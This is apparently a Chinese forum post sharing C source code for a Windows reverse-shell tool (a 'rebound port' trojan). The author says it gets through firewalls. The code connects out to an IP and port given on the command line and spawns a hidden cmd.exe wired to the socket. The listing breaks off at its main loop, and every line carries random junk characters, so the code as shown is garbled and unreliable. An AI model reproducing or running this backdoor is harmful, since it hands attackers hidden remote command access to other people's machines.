这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9si}WqAw
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/* ============================== g %\$ !b
Rebound port in Windows NT }(ma__Ao
By wind,2006/7 0F+zG)G"
===============================*/ W`N}
#include W]O@DS zR
#include wHtJ_Y
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#pragma comment(lib,"wsock32.lib") /bmXDDYH4
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void OutputShell(); ';b3Mm
#
SOCKET sClient; dd<:#c9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pgLtD};S
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void main(int argc,char **argv) T A\4uy6o
{ ou'~{-_xd
WSADATA stWsaData; VT%
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int nRet; (T|TEt
SOCKADDR_IN stSaiClient,stSaiServer; i*S|qX7``
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if(argc != 3) H|;*_
{ |DE%SVZB
printf("Useage:\n\rRebound DestIP DestPort\n"); !/j,hO4Z4
return; w;
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} .hX0c"f]b
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WSAStartup(MAKEWORD(2,2),&stWsaData); Tm)GC_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <b d1
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stSaiClient.sin_family = AF_INET; sno`=+|U]
stSaiClient.sin_port = htons(0); ~)q g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]*N:;J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >ZT& `E
{ OM.k?1%+M
printf("Bind Socket Failed!\n"); y?pD(u
return; o"p^/'ri
} +Edzjf~Tt
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stSaiServer.sin_family = AF_INET; G'f9N^w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <4bz/^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j8GY`f#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -<qxO
{ :dP~.ZY7
printf("Connect Error!"); {O^TurbTFA
return; l{Jt s I
} $Y6I_U
OutputShell(); 8Q2]*%
} T><{ze
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void OutputShell() jn-QKdqM
{ TE^7P0bh
char szBuff[1024]; 0"EoC
SECURITY_ATTRIBUTES stSecurityAttributes; .yZm^&
OSVERSIONINFO stOsversionInfo; yu)q4C7ek
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X8/Tl\c
STARTUPINFO stStartupInfo; ]3*P:$Rq
char *szShell; kdp%
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PROCESS_INFORMATION stProcessInformation; yN*:.al
unsigned long lBytesRead; *q0`})IQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B?LXI3sQZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x#VyQ[ok
stSecurityAttributes.lpSecurityDescriptor = 0; k$h [8l(<
stSecurityAttributes.bInheritHandle = TRUE; LVnHt}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h#i\iK&A
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C+w__gO&r
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '>@4(=I
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LP:nba :
stStartupInfo.wShowWindow = SW_HIDE; $5,~JYcb
stStartupInfo.hStdInput = hReadPipe; !tEe\K\e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9)+@0fG)
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GetVersionEx(&stOsversionInfo); G.g|jP'n
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switch(stOsversionInfo.dwPlatformId) eNRs&^
{ !X|k"km"
case 1: $X*mdji
szShell = "command.com"; #~^btL'dHF
break; #,L~w
default: 7^$)VBQ/
szShell = "cmd.exe"; '0|o`qoLzA
break; 7JUb Va%
} +t9 8@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f~=r*&U
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send(sClient,szMsg,77,0); I&Jt> O4
while(1) &